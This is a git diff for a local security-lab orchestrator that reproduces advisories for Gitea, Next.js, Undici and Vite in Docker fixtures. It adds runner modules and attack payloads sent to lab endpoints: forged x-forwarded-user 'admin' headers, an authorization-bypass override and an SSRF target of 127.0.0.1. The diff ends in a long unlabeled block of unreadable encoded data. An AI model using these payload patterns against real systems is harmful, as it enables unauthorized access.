profiles.append(_resolve_profile(advisory)) + elif getattr(args, "system", None): + advisories = [item for item in load_json_dir(ADVISORIES_DIR) if item.get("system_id") == args.system] + if advisories: + profiles.append(_resolve_profile(advisories[0])) + result = doctor.run_checks(profiles) + print(result) + return 0 if result.get("ok") else 1 + + def build_parser() -> argparse.ArgumentParser: parser = argparse.ArgumentParser(description="Websafe local lab orchestrator") subparsers = parser.add_subparsers(dest="command", required=True) @@ -479,7 +552,7 @@ def build_parser() -> argparse.ArgumentParser: run_system = subparsers.add_parser("run-system", help="run the first N advisories for a system") run_system.add_argument("--system", required=True) - run_system.add_argument("--limit", type=int, default=5) + run_system.add_argument("--limit", type=int, default=0) run_system.add_argument("--dry-run", action="store_true") run_system.set_defaults(func=cmd_run_system) @@ -508,6 +581,11 @@ def build_parser() -> argparse.ArgumentParser: validate = subparsers.add_parser("validate", help="validate lab assets") validate.set_defaults(func=cmd_validate) + + doctor_cmd = subparsers.add_parser("doctor", help="run environment preflight checks") + doctor_cmd.add_argument("--case") + doctor_cmd.add_argument("--system") + doctor_cmd.set_defaults(func=cmd_doctor) return parser diff --git a/scripts/lab/provision.py b/scripts/lab/provision.py index 81884c25..e10484e8 100644 --- a/scripts/lab/provision.py +++ b/scripts/lab/provision.py @@ -1,10 +1,13 @@ from __future__ import annotations +import time from pathlib import Path from typing import Any, Dict +import requests + from lab.compose import compose_payload, generate_compose -from lab.utils import command_available, run +from lab.utils import command_available, run, write_json def prepare(profile: Dict[str, Any], run_dir: Path, dry_run: bool = False) -> Dict[str, Any]: @@ -34,10 +37,58 @@ def prepare(profile: Dict[str, Any], run_dir: Path, dry_run: bool = False) -> Di result["blocked_reason"] = config.stderr.strip() or "docker compose config failed" return result - up = run(["docker", "compose", "-f", str(compose_path), "up", "-d"], cwd=run_dir) + up = run(["docker", "compose", "-f", str(compose_path), "up", "-d", "--wait"], cwd=run_dir) result["compose_up_rc"] = up.returncode if up.returncode != 0: result["status"] = "blocked-artifact" - result["blocked_reason"] = up.stderr.strip() or "docker compose up failed" + result["blocked_reason"] = up.stderr.strip() or up.stdout.strip() or "docker compose up failed" return result return result + + +def wait_ready(profile: Dict[str, Any], run_dir: Path, compose_path: Path) -> Dict[str, Any]: + timeout_seconds = int(profile.get("ready_timeout_seconds") or 45) + baseline_urls = profile.get("baseline_urls", []) or [] + started = time.monotonic() + observations = [] + status = "completed" + detail = f"baseline urls ready ({len(baseline_urls)})" + + while True: + observations = [] + ready = True + for url in baseline_urls: + try: + response = requests.get(url, timeout=4) + observations.append({"url": url, "status_code": response.status_code}) + if response.status_code >= 500: + ready = False + except Exception as exc: + observations.append({"url": url, "error": str(exc)}) + ready = False + if ready: + break + if time.monotonic() - started >= timeout_seconds: + status = "failed" + detail = f"services not ready within {timeout_seconds}s" + break + time.sleep(1) + + payload = { + "status": status, + "detail": detail, + "elapsed_seconds": round(time.monotonic() - started, 1), + "observations": observations, + "compose_path": str(compose_path), + } + write_json(run_dir / "logs" / "ready.json", payload) + return payload + + +def teardown(run_dir: Path, compose_path: Path) -> Dict[str, Any]: + if not command_available("docker") or not compose_path.exists(): + return {"status": "skipped", "detail": "docker unavailable or compose file missing"} + down = run(["docker", "compose", "-f", str(compose_path), "down", "-v", "--remove-orphans"], cwd=run_dir) + if down.returncode != 0: + return {"status": "failed", "detail": down.stderr.strip() or down.stdout.strip() or "docker compose down failed"} + return {"status": "completed", "detail": "docker compose down completed"} diff --git a/scripts/lab/repro.py b/scripts/lab/repro.py index 757714c8..81bcac7a 100644 --- a/scripts/lab/repro.py +++ b/scripts/lab/repro.py @@ -88,6 +88,11 @@ def resolve_profile(advisory_id: str, advisory: Optional[Dict[str, Any]] = None) return direct_profile family = resolve_repro_family(advisory, system_map) + system_family_profile = profiles.get(f"{advisory.get('system_id', '')}-{family.replace('-generic', '')}") + if system_family_profile: + resolved = dict(system_family_profile) + resolved.setdefault("resolved_via", "system-family") + return resolved profile = profiles.get(family) if profile: resolved = dict(profile) @@ -103,6 +108,7 @@ def resolve_profile(advisory_id: str, advisory: Optional[Dict[str, Any]] = None) "attack_actions": [], "baseline_actions": [], "success_criteria": ["manual triage required"], + "success_assertions": [], "cleanup_policy": "destroy", "destructive_risk": "medium", "allowed_target_types": ["lab-local", "lab-public", "authorized-third-party"], @@ -152,6 +158,8 @@ def annotate_with_latest_run(advisory: Dict[str, Any], run: Optional[Dict[str, A "repro_profile_id": run.get("repro_profile_id", merged["repro_profile_id"]), "artifact_mode": run.get("artifact_mode", merged["artifact_mode"]), "blocked_reason": run.get("blocked_reason"), + "historical_status": run.get("verification_status", merged["verification_status"]), + "latest_status": run.get("verification_status", merged["verification_status"]), } ) return merged diff --git a/scripts/lab/runners/__init__.py b/scripts/lab/runners/__init__.py new file mode 100644 index 00000000..dd920bed --- /dev/null +++ b/scripts/lab/runners/__init__.py @@ -0,0 +1,4 @@ +from lab.runners.dispatcher import run_attack, run_seed + +__all__ = ["run_seed", "run_attack"] + diff --git a/scripts/lab/runners/common.py b/scripts/lab/runners/common.py new file mode 100644 index 00000000..d31efa91 --- /dev/null +++ b/scripts/lab/runners/common.py @@ -0,0 +1,169 @@ +from __future__ import annotations + +from dataclasses import dataclass +from pathlib import Path +from typing import Any, Dict, List + +import requests + +from lab.utils import ensure_dir, write_json + + +@dataclass +class RunnerContext: + profile: Dict[str, Any] + advisory: Dict[str, Any] + run_dir: Path + + @property + def base_url(self) -> str: + return str((self.profile.get("baseline_urls") or [""])[0]).rstrip("/") + + @property + def family(self) -> str: + return str(self.profile.get("vuln_family") or "").strip() + + @property + def runner_id(self) -> str: + return str(self.profile.get("runner_id") or "").strip() + + @property + def logs_dir(self) -> Path: + path = self.run_dir / "logs" + ensure_dir(path) + return path + + +def _request( + context: RunnerContext, + method: str, + path: str, + *, + json_payload: Dict[str, Any] | None = None, + timeout: float = 15.0, +) -> Dict[str, Any]: + response = requests.request( + method=method, + url=f"{context.base_url}{path}", + json=json_payload, + timeout=timeout, + ) + body: Dict[str, Any] + try: + parsed = response.json() + body = parsed if isinstance(parsed, dict) else {"data": parsed} + except Exception: + body = {"text": response.text[:1000]} + return { + "status_code": response.status_code, + "ok": response.ok, + "body": body, + } + + +def _seed_payload(context: RunnerContext) -> Dict[str, Any]: + return { + "system_id": context.advisory["system_id"], + "family": context.family, + "case_id": context.advisory["canonical_id"], + "title": context.advisory.get("title"), + } + + +def _attack_payload(context: RunnerContext, family: str) -> Dict[str, Any]: + case_id = context.advisory["canonical_id"] + payloads = { + "proxy-boundary": { + "family": family, + "case_id": case_id, + "headers": {"x-forwarded-user": "admin", "x-forwarded-host": "internal.lab"}, + }, + "authz-bypass": { + "family": family, + "case_id": case_id, + "actor": "guest", + "target": "/admin", + "override": "bypass", + }, + "ssrf": { + "family": family, + "case_id": case_id, + "target_url": "http://127.0.0.1/sink", + }, + "xss": { + "family": family, + "case_id": case_id, + "payload": f"", + }, + "file-upload": { + "family": family, + "case_id": case_id, + "filename": f"{case_id}.txt", + "content": f"fixture upload marker for {case_id}", + }, + "deserialization": { + "family": family, + "case_id": case_id, + "payload": {"marker": case_id, "mode": "inert-object"}, + }, + } + return payloads[family] + + +def run_fixture_seed(context: RunnerContext, family: str) -> Dict[str, Any]: + result = _request(context, "POST", "/seed", json_payload=_seed_payload(context)) + payload = { + "steps": [ + { + "kind": "runner", + "tool": context.runner_id or f"{context.advisory['system_id']}.{family}", + "status": "completed" if result["ok"] else "failed", + "status_code": result["status_code"], + "detail": result["body"].get("detail") or "seed request completed", + } + ], + "seeded": bool(result["ok"]), + "result": result, + } + write_json(context.logs_dir / "seed.json", payload) + return payload + + +def run_fixture_attack(context: RunnerContext, family: str) -> Dict[str, Any]: + before: Dict[str, Any] = {} + if family in {"proxy-boundary", "authz-bypass"}: + before = _request(context, "GET", "/admin") + attack = _request(context, "POST", "/attack", json_payload=_attack_payload(context, family)) + proof = _request(context, "GET", "/proof") + after: Dict[str, Any] = {} + if family in {"proxy-boundary", "authz-bypass"}: + after = _request(context, "GET", "/admin") + + success = bool(attack["ok"] and proof["ok"] and proof["body"].get("success")) + step = { + "kind": "runner", + "tool": context.runner_id or f"{context.advisory['system_id']}.{family}", + "status": "completed" if success else "failed", + "status_code": attack["status_code"], + "result_path": str(context.logs_dir / "attack.json"), + } + payload = { + "steps": [step], + "success": success, + "detail": proof["body"].get("detail") or attack["body"].get("detail") or "runner attack finished", + "before": before, + "attack": attack, + "after": after, + "proof": proof, + "assertions": [ + { + "name": "proof-success", + "kind": "runner-proof", + "passed": success, + "detail": proof["body"].get("detail") or "runner proof endpoint returned success", + } + ], + } + write_json(context.logs_dir / "attack.json", payload) + return payload + diff --git a/scripts/lab/runners/dispatcher.py b/scripts/lab/runners/dispatcher.py new file mode 100644 index 00000000..ce2f2d8c --- /dev/null +++ b/scripts/lab/runners/dispatcher.py @@ -0,0 +1,36 @@ +from __future__ import annotations + +import importlib +from pathlib import Path +from typing import Any, Dict + +from lab.runners.common import RunnerContext + + +def _module_name(profile: Dict[str, Any]) -> str: + runner_id = str(profile.get("runner_id") or "").strip() + if runner_id: + system_name, family_name = runner_id.split(".", 1) + else: + system_name = str(profile.get("system_id") or "").strip() + family_name = str(profile.get("vuln_family") or "").strip() + system_name = system_name.replace("-", "_") + family_name = family_name.replace("-", "_") + return f"lab.runners.{system_name}.{family_name}" + + +def _load_runner(profile: Dict[str, Any]): + return importlib.import_module(_module_name(profile)) + + +def run_seed(profile: Dict[str, Any], advisory: Dict[str, Any], run_dir: Path) -> Dict[str, Any]: + module = _load_runner(profile) + context = RunnerContext(profile=profile, advisory=advisory, run_dir=run_dir) + return module.run_seed(context) + + +def run_attack(profile: Dict[str, Any], advisory: Dict[str, Any], run_dir: Path) -> Dict[str, Any]: + module = _load_runner(profile) + context = RunnerContext(profile=profile, advisory=advisory, run_dir=run_dir) + return module.run_attack(context) + diff --git a/scripts/lab/runners/gitea/__init__.py b/scripts/lab/runners/gitea/__init__.py new file mode 100644 index 00000000..8917d359 --- /dev/null +++ b/scripts/lab/runners/gitea/__init__.py @@ -0,0 +1,2 @@ +"""Gitea family runners.""" + diff --git a/scripts/lab/runners/gitea/authz_bypass.py b/scripts/lab/runners/gitea/authz_bypass.py new file mode 100644 index 00000000..5cbac355 --- /dev/null +++ b/scripts/lab/runners/gitea/authz_bypass.py @@ -0,0 +1,10 @@ +from lab.runners.common import RunnerContext, run_fixture_attack, run_fixture_seed + + +def run_seed(context: RunnerContext): + return run_fixture_seed(context, "authz-bypass") + + +def run_attack(context: RunnerContext): + return run_fixture_attack(context, "authz-bypass") + diff --git a/scripts/lab/runners/gitea/file_upload.py b/scripts/lab/runners/gitea/file_upload.py new file mode 100644 index 00000000..38f07d12 --- /dev/null +++ b/scripts/lab/runners/gitea/file_upload.py @@ -0,0 +1,10 @@ +from lab.runners.common import RunnerContext, run_fixture_attack, run_fixture_seed + + +def run_seed(context: RunnerContext): + return run_fixture_seed(context, "file-upload") + + +def run_attack(context: RunnerContext): + return run_fixture_attack(context, "file-upload") + diff --git a/scripts/lab/runners/gitea/proxy_boundary.py b/scripts/lab/runners/gitea/proxy_boundary.py new file mode 100644 index 00000000..82b8c3c6 --- /dev/null +++ b/scripts/lab/runners/gitea/proxy_boundary.py @@ -0,0 +1,10 @@ +from lab.runners.common import RunnerContext, run_fixture_attack, run_fixture_seed + + +def run_seed(context: RunnerContext): + return run_fixture_seed(context, "proxy-boundary") + + +def run_attack(context: RunnerContext): + return run_fixture_attack(context, "proxy-boundary") + diff --git a/scripts/lab/runners/gitea/ssrf.py b/scripts/lab/runners/gitea/ssrf.py new file mode 100644 index 00000000..da0645da --- /dev/null +++ b/scripts/lab/runners/gitea/ssrf.py @@ -0,0 +1,10 @@ +from lab.runners.common import RunnerContext, run_fixture_attack, run_fixture_seed + + +def run_seed(context: RunnerContext): + return run_fixture_seed(context, "ssrf") + + +def run_attack(context: RunnerContext): + return run_fixture_attack(context, "ssrf") + diff --git a/scripts/lab/runners/gitea/xss.py b/scripts/lab/runners/gitea/xss.py new file mode 100644 index 00000000..5b801865 --- /dev/null +++ b/scripts/lab/runners/gitea/xss.py @@ -0,0 +1,10 @@ +from lab.runners.common import RunnerContext, run_fixture_attack, run_fixture_seed + + +def run_seed(context: RunnerContext): + return run_fixture_seed(context, "xss") + + +def run_attack(context: RunnerContext): + return run_fixture_attack(context, "xss") + diff --git a/scripts/lab/runners/nextjs/__init__.py b/scripts/lab/runners/nextjs/__init__.py new file mode 100644 index 00000000..8a09162e --- /dev/null +++ b/scripts/lab/runners/nextjs/__init__.py @@ -0,0 +1,2 @@ +"""Next.js family runners.""" + diff --git a/scripts/lab/runners/nextjs/authz_bypass.py b/scripts/lab/runners/nextjs/authz_bypass.py new file mode 100644 index 00000000..5cbac355 --- /dev/null +++ b/scripts/lab/runners/nextjs/authz_bypass.py @@ -0,0 +1,10 @@ +from lab.runners.common import RunnerContext, run_fixture_attack, run_fixture_seed + + +def run_seed(context: RunnerContext): + return run_fixture_seed(context, "authz-bypass") + + +def run_attack(context: RunnerContext): + return run_fixture_attack(context, "authz-bypass") + diff --git a/scripts/lab/runners/nextjs/deserialization.py b/scripts/lab/runners/nextjs/deserialization.py new file mode 100644 index 00000000..ae71837f --- /dev/null +++ b/scripts/lab/runners/nextjs/deserialization.py @@ -0,0 +1,10 @@ +from lab.runners.common import RunnerContext, run_fixture_attack, run_fixture_seed + + +def run_seed(context: RunnerContext): + return run_fixture_seed(context, "deserialization") + + +def run_attack(context: RunnerContext): + return run_fixture_attack(context, "deserialization") + diff --git a/scripts/lab/runners/nextjs/proxy_boundary.py b/scripts/lab/runners/nextjs/proxy_boundary.py new file mode 100644 index 00000000..82b8c3c6 --- /dev/null +++ b/scripts/lab/runners/nextjs/proxy_boundary.py @@ -0,0 +1,10 @@ +from lab.runners.common import RunnerContext, run_fixture_attack, run_fixture_seed + + +def run_seed(context: RunnerContext): + return run_fixture_seed(context, "proxy-boundary") + + +def run_attack(context: RunnerContext): + return run_fixture_attack(context, "proxy-boundary") + diff --git a/scripts/lab/runners/nextjs/ssrf.py b/scripts/lab/runners/nextjs/ssrf.py new file mode 100644 index 00000000..da0645da --- /dev/null +++ b/scripts/lab/runners/nextjs/ssrf.py @@ -0,0 +1,10 @@ +from lab.runners.common import RunnerContext, run_fixture_attack, run_fixture_seed + + +def run_seed(context: RunnerContext): + return run_fixture_seed(context, "ssrf") + + +def run_attack(context: RunnerContext): + return run_fixture_attack(context, "ssrf") + diff --git a/scripts/lab/runners/nextjs/xss.py b/scripts/lab/runners/nextjs/xss.py new file mode 100644 index 00000000..5b801865 --- /dev/null +++ b/scripts/lab/runners/nextjs/xss.py @@ -0,0 +1,10 @@ +from lab.runners.common import RunnerContext, run_fixture_attack, run_fixture_seed + + +def run_seed(context: RunnerContext): + return run_fixture_seed(context, "xss") + + +def run_attack(context: RunnerContext): + return run_fixture_attack(context, "xss") + diff --git a/scripts/lab/runners/undici/__init__.py b/scripts/lab/runners/undici/__init__.py new file mode 100644 index 00000000..4a158eda --- /dev/null +++ b/scripts/lab/runners/undici/__init__.py @@ -0,0 +1,2 @@ +"""Undici family runners.""" + diff --git a/scripts/lab/runners/undici/ssrf.py b/scripts/lab/runners/undici/ssrf.py new file mode 100644 index 00000000..da0645da --- /dev/null +++ b/scripts/lab/runners/undici/ssrf.py @@ -0,0 +1,10 @@ +from lab.runners.common import RunnerContext, run_fixture_attack, run_fixture_seed + + +def run_seed(context: RunnerContext): + return run_fixture_seed(context, "ssrf") + + +def run_attack(context: RunnerContext): + return run_fixture_attack(context, "ssrf") + diff --git a/scripts/lab/runners/vite/__init__.py b/scripts/lab/runners/vite/__init__.py new file mode 100644 index 00000000..85c10492 --- /dev/null +++ b/scripts/lab/runners/vite/__init__.py @@ -0,0 +1,2 @@ +"""Vite family runners.""" + diff --git a/scripts/lab/runners/vite/file_upload.py b/scripts/lab/runners/vite/file_upload.py new file mode 100644 index 00000000..38f07d12 --- /dev/null +++ b/scripts/lab/runners/vite/file_upload.py @@ -0,0 +1,10 @@ +from lab.runners.common import RunnerContext, run_fixture_attack, run_fixture_seed + + +def run_seed(context: RunnerContext): + return run_fixture_seed(context, "file-upload") + + +def run_attack(context: RunnerContext): + return run_fixture_attack(context, "file-upload") + diff --git a/scripts/lab/runners/vite/proxy_boundary.py b/scripts/lab/runners/vite/proxy_boundary.py new file mode 100644 index 00000000..82b8c3c6 --- /dev/null +++ b/scripts/lab/runners/vite/proxy_boundary.py @@ -0,0 +1,10 @@ +from lab.runners.common import RunnerContext, run_fixture_attack, run_fixture_seed + + +def run_seed(context: RunnerContext): + return run_fixture_seed(context, "proxy-boundary") + + +def run_attack(context: RunnerContext): + return run_fixture_attack(context, "proxy-boundary") + diff --git a/scripts/lab/runners/vite/xss.py b/scripts/lab/runners/vite/xss.py new file mode 100644 index 00000000..5b801865 --- /dev/null +++ b/scripts/lab/runners/vite/xss.py @@ -0,0 +1,10 @@ +from lab.runners.common import RunnerContext, run_fixture_attack, run_fixture_seed + + +def run_seed(context: RunnerContext): + return run_fixture_seed(context, "xss") + + +def run_attack(context: RunnerContext): + return run_fixture_attack(context, "xss") + diff --git a/scripts/lab/seed.py b/scripts/lab/seed.py index 80750010..4aacda44 100644 --- a/scripts/lab/seed.py +++ b/scripts/lab/seed.py @@ -1,14 +1,29 @@ from __future__ import annotations +from pathlib import Path from typing import Any, Dict, List +from lab.runners.dispatcher import run_seed as run_runner_seed +from lab.utils import write_json -def run_seed(profile: Dict[str, Any]) -> List[Dict[str, Any]]: - steps = [] + +def run_seed(profile: Dict[str, Any], advisory: Dict[str, Any], run_dir: Path, dry_run: bool = False) -> Dict[str, Any]: + if profile.get("runner_id") and not dry_run: + return run_runner_seed(profile, advisory, run_dir) + + steps: List[Dict[str, Any]] = [] for action in profile.get("seed_actions", []): kind = action.get("kind", "note") if kind == "note": steps.append({"kind": kind, "status": "recorded", "message": action.get("message", "")}) else: - steps.append({"kind": kind, "status": "skipped", "message": "Seed action type not yet automated"}) - return steps + steps.append( + { + "kind": kind, + "status": "planned" if dry_run else "skipped", + "message": "Seed action type not yet automated", + } + ) + payload = {"steps": steps, "seeded": not any(item["status"] == "skipped" for item in steps)} + write_json(run_dir / "logs" / "seed.json", payload) + return payload diff --git a/scripts/lab/validators.py b/scripts/lab/validators.py index 0bbad847..46c7fbf6 100644 --- a/scripts/lab/validators.py +++ b/scripts/lab/validators.py @@ -34,6 +34,9 @@ def validate_assets() -> List[str]: ]: if field not in content: errors.append(f"repro profile missing {field}: {path}") + fixture_path = content.get("fixture_path") + if fixture_path and not Path(fixture_path).exists(): + errors.append(f"fixture path missing for {path}: {fixture_path}") docker_available = command_available("docker") profile_roots = sorted((ENV_CATALOG_DIR.parent.parent / "profiles").rglob("*.yaml")) for path in profile_roots:

    6KG0x|TiGTV}AZemK9uk{PF0Ow_YS`yHFugi^*as?u^<nRdesa4MyO);`+X|Ebr4CY#XKp8iQSYGS)znDC;FrQGs5n(gEglq2EU_{*ss`2 z?-#DX4U;&)WAj6GOO0N0%3C#?w|lnLByp3t|Iyfi9;{XzRXEfQzHUxnH{?T{9;8%d zW@dImy!Mw71LkOv-*Q&(e}DaHS4CATAG_F?fWs^S?(@X+^xhf2kp6)n!yjR-@Qk>dH;{KqKn!zI`Fx`hI=E z4XGTqto%(-$ZodYWnuJ>x;ezC@g{Q!A?=s@vSg>#%Igwc1uvOdC9*o8x#}lSmEmPRR{S zjcl38C8IJ;@z#(ceX~gugPlquM8RTkPkXu^i9KCdtdyc*un)?MmiHsoZV%y0U8H0+ z6;)x+Wa&4za>@F#&uc?wOiVMwiI?dgn^=TX@;m9HB=HO1lxkHdndE9d4<%-wLfS*N zB&2pSjU$@9H%~%Z!;+|lVO)->JjM;~(JW4KxvP^)vl6+O3b!$kUl-cKF8jo{swKZs z(VeW!dP2|fANrUPLmLn-oFC{L8~=w3NKYqZP_JN3aby^c< zcG59BRqqkZ^E;ASQP|6XbIK4FJo$KaRlfG#L9tTiuO4r1@AISS@9O3RR3Z+}&ZdoT z2857B#j zr_>_ewZ7BlDTDOY&Q0E@mEIw)1~&TDHXWyKD=U3jg)km|{wPw&Hgz01uU=&prczpS zfe-)asI>E+v_FVb2g8nhb z839?PS*sn=XJ-cLs+4mTpo`z7kd(_e<~*f_tpfAp^z}Y$^a-nGy!=yhw1sIlJN@>y z&nVi+&fiHgOYAn%G_?EeLK}M`dqx(|+6wo0Tm$_BTOs;0&-E$jv6Ivle>$Fn_3=PU zuJQ(nfo+q1Ra=IT$Iw}s=1Q0R0O4FDm0*E?vjoOdZFiwfTQWy}f3(5VX*9C=A^FtK zQt_ApyYZ;s=Q};aBfcA>8IiZ#p5u;#@L44Kr>`-0pd>K&Z9u~0e)_OFDVvs2Q^&** zystE(3GK9XmcU9{4kI> z*RZH4@)Z(ai8WVS79V}|)oZlS|9r<|_&bAeb_B&3Ew@!8kJrYGu>RmnPIDo}@YyCm z)9eo*xZukB8hllVoKGnHXv$bLRunTEDnJ+< zY0CRk^LYRM0BahKilx=aS9)HRd)S{RUz{P#FBASxP?wDK8v(V@i+rtx9OYyI?Z{`} z58wHeY1RaJYJF4BJu`3?6B7#ykc?5r6FBspX(Ycq!{_1J(!nSMu$<1hisyBSlap(g~pq2gj{XS4tM8 z$iTP$R4k7}I$h=D920+kr#YKwzJ7ak;WLs5HtL{nqN!|sbs;ipgWo|5##(q9E~ zn{KeJhAoD}O6?DAt$2k}yWn&^@ro%pG6Ob@{ab z<0VCDWO+vK$mgI3QS%eDsy^WtWfvJYwLEjTjSw$TNceT4zg?kPR^fk)V;2@8G`LTJ~s4oy=&rsW2(S`>hz>G}(MBlQd3JPVe<&Re&GD8y&! zqy4;g?mDJ)td8mvo=Da2jxWfn5;26A@xhf+UZ{;}!h5?@s(zd>{2=tE;J1C^;FKcZ zvc4#vMVtIG(EZTi-&5u|O49;irzs11rEPI@E5RKF7&&tDd6Cj(UV4Qm@fF zrQ5ZZ?IW$r(mFDmeKz0%Jign52gv6J2N1^FvuG&ecut4aV;-#HMJA;NK6X|eHrj)k zPsU{?j=Wfu*Pf+Dbp@GDkMH!P*5LVuKkI(!xZIJ}bt2*u z0-y&<8x{wGh3z2hFnZm2rb)?flN`XS!+SsOH8gnb*y+A%3ngZ?A+YSysVJ{}Bj%e;%}yL`M&ll1I$ zqx6H7@j$idM~^1DCD(cUjv8sEg^PO%HS^>1935>FnC6m-W8i(shzm}C@l*1EgMGkJ zJ?LYtZ&oaC?yTKK@BGWk&(CLbTR5-3h4sNS2rIn2!GEd9lOumq6z~C;r~73`dyn{) z&V+JKPS058)gOngzyJ@W}lx*WHX2?}vXJEYnKN6!*K@YgJT*Ksthb_7=IW zD;Tj9v96Y%h=&V1#= z&-jj~MZAwT#?;gHmwFInncMqIGggX;C2Fup=s5xG$>?wb1rxYATkZCWMfFFL|KF5b0EQf&Y_Z=~c>Xm~fjvGb&ZH}XcXJN5%@Lro9!nZG^!@ti=FhwVGHXBv@U;UzAP|;Ax z5VG{|w@#7qa3|w+m1{W4_=N9xHmrZRF{(ju_Yc?FRNZG!jZ&PdI=2;8@rW9@>hC_? zJr>t5(x*S^-^QD~7{?{bY&o{D70moL{ae5({coRJB(ZQZ(F+RRqB7$jY)6|Dn0!U& ztt(9E+;&eyb(RU4Tqvf_-fP!PdN_)hHJ*37-Vvj+)ECXBADhUYisJ~Fk4RTb#eg05 z1MHEAE$YqN8Os^3-eGUWpYOQ#t{T|uqXO?IJUo&h1e=NILha)NA+O7}2&v#GJ6b@O zrb0|NFMePot^?UcvG31?f>I44>-et2Iok&VRt17VX2Wos|RNHN8u3$1L* znIJm6k8P|6yF@J$aPdlmP(u{8(}mFsbM0a+*Q+@Uvur3?$H@X~``;eIZI?J)PS+bx$_-Y;d~axH@X7GeHFadM-PyV04q84XvnX zQ*VZ788luynzt+IJ<@i6bP`EPkySBKqZ;)#%ZQinPlmHL5#v=!`AhCfr%Trbg~L-f z(ga#V?6y9lNFqkhY#d&T_u}+M2$ReFH{|qScH;20T7vK&8ibM#Mnl^LtgmDirerB*Z4lOdXh5h85SCoTr0@<6qpWS8berZx$&f~X zvZ1dwj*5r#QqGPjFV?}ILUKjr8pi;kVYoe9k#VFehmr?E%>@I_+l%P2vKco0%BfoA znMNP{&DlEtiBBN=jusmh%S6~|xPvP4S4@jvgU7~q6VH>T8MF_acdW=5AsYoKIxi-p z+HC(uubrzzglVa6cOvip#VL0j{C(V|`P$EE=$B0|JL7zvI-8ieHRg{_iy%=kZ9S*I zVR`GIaheCKomoYW4Uv<9Uv+eJG?eWot8K^{ zP_0rqHiIy9Cf5ohag4YtU_UyXO(zOHQ|f1>wA{+#DuM=n%*}22`x+WyS~;PV#^=%! zq}|}<7(%nvbyxxDH%fj-b(jNQIZUw-v6Vpx=?m z5`kKUV5G)53ip8( z#jM&7plSR!e@3^%X?Yz^R$t1;SpZ4Go~|LYG6_=lP5OS|0XyC+kjbTzvr$ z?&0Rlgm<#*mp|SvmmIEaxrQ~6v2R@jRmzyYyG{kFS=vPwyEu4avmSL0DH@oX?Wu$Y0E?RRo1OEMe$Kb?5 z=eGq4B`b zl@Z-qh<<*F#8`$cvFcFn1QJk)T&z`DPs$4Zju!PBmAIWQ=oYza5Y4QTaPU7|Kt4az z;1&Jv_l$=a_1tMvb_261u7`>eBW1JM(Psqit{%1HHP_kU1HVTp9pJ>QI;M55Bef9@ zDQ)tH-4lPacF&u_1D=G=IT@bEi~rcv*NlMVt`1i;>=J!W<+HcEcv|s_VZnKfICR?YKphmsJ5pFOC()nYg~Tpd z9&_XwzL2l?zMlJR5zA%Cs`!@AB_rocpM;}Hldo}w#-qYza)PN7c@$hVt0SpwH4!2F z>Cqe@E130*el2zkMHprZz$&4^Dj%J07vta%P7rVyqAGW{kRoU_ZVVpnOu#Fe_`Qrq z5mBiL>z$d~6ufp%+|Lp|6r0?ANM%rFLbTN@@8l#OM$BGv_;2%cKO1+ZK-rKI(lpm{ z`>wS92|))Hwh9*l5yJ0IJ?c z^`c!rz;-l+tI#3h$_A{Cde$CVT-KM-4DmW$yrfqOhwooD9CscMISot|c(_@wkQtn3 z2p|7p;ojD~au4^ocD-K_5rN#D=mG&bX^AelC7f|BZh*U#RjY*NfNyMY9}T^$m{9cB z{vaI%FsHLf&V@D_c32?UYUf(cFy8#J@>aFYgbGUZCUEFj9rezgjuTwW5yIts_BCu& zMewVtZ8hM^NkRbbH8ouVdXdAV-XEwArk>Ur79Ft`z3H3)lSk2ti~1c+6>3^5tyF`| z4p&IvdVS$tvokea<9waKIu_p?ia-Vaqms0khhcJk-R z!Z=k48E1N>WmhcFtMUVvD$E)2sRW*)KI1=6;c+SPEZk}dCJ0MnDqEG}k!@E>;rf%s z%=)0%*zX8v#XSDBMvL==-1dpxwu1#n2L}RPN54Yi;F)630^s?O!;6F0!D7NR-ET|; z%?wxz*MlI9AU8bdgOv-A{4$D)7cky|Kr*_qFHkyt!u^YR$w17a zrFLFxyFh{)P^W`Pvs*hJf~)2)uUuYU=7JZtGs{e@XU})gMPME?UDBNg+4hj2lzWzei;z&6!-5L6e&sD-AA0q*&L7 zBoKWXPRTdO(?1mp;O;+&0gsP=OY4KA#r(h5a^+DvzzTHIEQ|Gjl_Tg=9rmikx)$?L zfjq(=F5qIe(viSDuCg`+_i$4zx=^ZfTlz{0DcvLG;^yv(W2~uid$`0OLdC3s_V?MO z-b@fTtSvDkGQ6>`VBfHyDj6c~%Lg$MWkl@+OaYlL+qp6kG)4aKNNP+3r8vvDiY7x8 zZGUsk9(M$-cs;a1r;{LzxC^OYC8JOq`_&MsaHFr?!SKHRbOLhDaEZF|sq!A_A7Rh# ze@22;tO2O^`mGG8!RVJt$$!TOF87yv)L;p;6ZeQ-eyy=O92|npeCE?5fX! z9{Tjc(P7I0fk2qGx$FFQ{WKn@$KtR?fR%y5e15VUmvfOAzI#x}U93~42_8QD@rPY0 z8ZloU%g(Z5y1A%%V9xjpao_!wZ`Rr+=67UtN|~pebOi7>?D7utY)9X$>WwN*0hd^? z?ucVuiKM1f%@XooU(D&D)MZqiD?rhTIrP^fyFf+czS>{P4Udw`v6`LPTI0^sY#?Dv zRu$6$!p9{Uql&}ncz&1opi#Y22jC)U#Zjg~bphA-TNiB-w@Y+u5U3sq(*zP|qA5qm0s3_bIuVij0WK1r?l&|)AV z`5iliQ8CBXcLUwyFA6gP-iHdFcEY%uQxHS+`oFncM+~ak>+3gswQpT#k62@0%KIO0UjhI*IXQ8( zKBC-%*`04q(E3ZpyAJA)QRne^e&=nfiK>+3_TM2y#7xlvzyjj6Jr%LO`pWhf*~CiX z5yF5kfz!ZH-x-722k8@JXoF^_{Idk+xb~HfjE$cy!HP*G-Y5P2g*yRruaEwOkuaZ} z>@Ea`C5piI-kc4~SeSk2?d=VGK>8;`xc%~+V0*e@XKBe%B+zR|ycP)Aa8W~kTaqLpS+3*Cf{g|JRFPLT-WnTuAhQ}tay_VngcFWOL0~>pZg#w?G z9`Q8uS#O4)h={0VDyHVV(E`w3QCY99_(>g}X~I>QH1e_?zC0l1sPkCq&3+AC!czEz zvzwwhp_?NeL>kGhzdo|eU-o(47qZ1lPOWoc(yo6LOmJ0F!) zh90Qzadb39ys3kzO{OA>YZN-a#HyRezxH#eOOc|~xM87LgL9E#Ph7_Gi$KMIgOl%M_Y;)qSH5S|d#*7FFU2vaYC>e=FPF__kC9Fj z4il9LO}?HnQS1gNVfWRq?m!eDC`t%Z?rwPVQzjxcOE};)9+P&y+*~4q@_JWNncVxm 